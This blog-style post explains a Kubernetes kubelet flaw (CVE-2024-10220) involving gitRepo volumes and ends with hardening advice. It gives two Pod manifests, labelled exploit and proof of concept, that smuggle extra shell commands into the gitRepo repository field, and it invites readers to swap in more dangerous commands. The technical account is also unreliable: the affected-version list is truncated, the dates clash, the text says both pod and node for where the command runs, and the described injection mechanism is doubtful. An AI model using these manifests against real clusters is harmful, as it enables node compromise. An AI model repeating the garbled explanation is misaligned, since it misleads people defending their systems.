Kubernetes is the foundation of modern container orchestration, running everything from small apps to massive enterprise workloads. But sometimes, a vulnerable component can expose the entire cluster to attackers. In early 2024, a serious flaw—CVE-2024-10220—was discovered in the Kubernetes kubelet service, letting an attacker run arbitrary commands by abusing a special kind of volume called gitRepo.

In this post, I’ll break down what this vulnerability is, how it works, what versions are vulnerable, how an exploit could look, and how you can protect your cluster.

What is CVE-2024-10220?

CVE-2024-10220 is a critical vulnerability in Kubernetes’ kubelet component. Kubelet is what runs on every node and is responsible for making sure containers are running.

This bug lets a malicious actor create or mutate Pods such that, when they use a gitRepo volume, the kubelet ends up executing arbitrary commands supplied by an attacker. This could lead to privilege escalation or full cluster takeover.

1.30. – 1.30.2

Kubernetes maintainers have patched newer versions.

Official References

- Kubernetes Security Advisory
- CVE Detail

Why Is gitRepo Dangerous?

The gitRepo volume type lets you automatically clone a git repository into a pod volume. This sounds convenient, but it depends on running the git binary. kubelet constructs a shell command to do this clone operation.

The vulnerability comes from kubelet building the git command line using untrusted values from user-supplied Pod specs. If you slip in something like "hello; /bin/evil.sh", kubelet could execute your embedded command—not just git.

> Note: gitRepo volumes are *deprecated* since Kubernetes 1.11, but still worked until this fix.

How Does the Exploit Work?

Imagine you have permissions to create a pod, or you find a way to get kubelet to process pod specs you control. You can craft gitRepo settings so the kubelet will end up running shell commands you provide.

Here’s a sample manifest that exploits this flaw (for educational purposes only)

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: attacker
    image: busybox
    command: ["sleep", "360"]
    volumeMounts:
    - name: repo
      mountPath: /mnt/repo
  volumes:
  - name: repo
    gitRepo:
      # The 'repository' field is vulnerable
      repository: "https://github.com/legit/repo.git; touch /tmp/hacked"
      revision: "master"

When kubelet mounts this gitRepo volume, it builds and runs something like

git clone https://github.com/legit/repo.git; touch /tmp/hacked ...

Instead of just cloning, the OS expends both commands—so suddenly, your touch /tmp/hacked (or any other malicious command) runs as root inside the pod’s context!

Real-World Impact

- Privilege escalation — If attackers can get kubelet to read their pod specs, they can run commands as root.
- Node compromise — In cloud clusters or poorly configured clusters, this could turn into a complete server takeover.
- Cluster worm — Malicious code could start infecting other pods or nodes, reading secrets or disrupting services.

Exploit in Practice

Suppose an attacker crafts a malicious pod and submits it (or tricks an admin/operator into applying it). As soon as kubelet processes this spec, the arbitrary command runs.

Simple Proof of Concept (on a vulnerable kubelet)

apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: demo
    image: alpine
    command: ["sleep", "9999"]
    volumeMounts:
    - name: hack
      mountPath: /hack
  volumes:
  - name: hack
    gitRepo:
      repository: "foo.git; echo PWNED > /tmp/rooted"
      revision: "main"

Expectation: The file /tmp/rooted shows up on the node. Swap the command for something more dangerous, and you can wreak havoc!


## How To Fix / Protect Yourself

Disallow gitRepo volumes:

- If possible, use a PodSecurityPolicy or Pod Security Admission to block the gitRepo volumeType.

Plan to Migrate:

- gitRepo is deprecated! Use init containers to clone repos securely instead.

Conclusion

CVE-2024-10220 exposes a powerful but outdated feature in kubelet that could give attackers direct command execution on your nodes. Even if you think your RBAC is tight, it’s worth double-checking that old workloads aren’t using gitRepo and that all your nodes’ kubelets are updated.

Always keep up with Kubernetes advisories, and remember: Many "convenient" shortcuts can become security headaches. Use only what you need, and patch as soon as possible!

More References

- Security Advisory: Arbitrary Command Execution via gitRepo in kubelet
- CNCF CVE-2024-10220 Record
- Kubernetes: Volumes documentation
- Pod Security Admission


*Stay safe, keep clusters patched, and never trust unchecked input!*

Timeline

Published on: 11/22/2024 17:15:06 UTC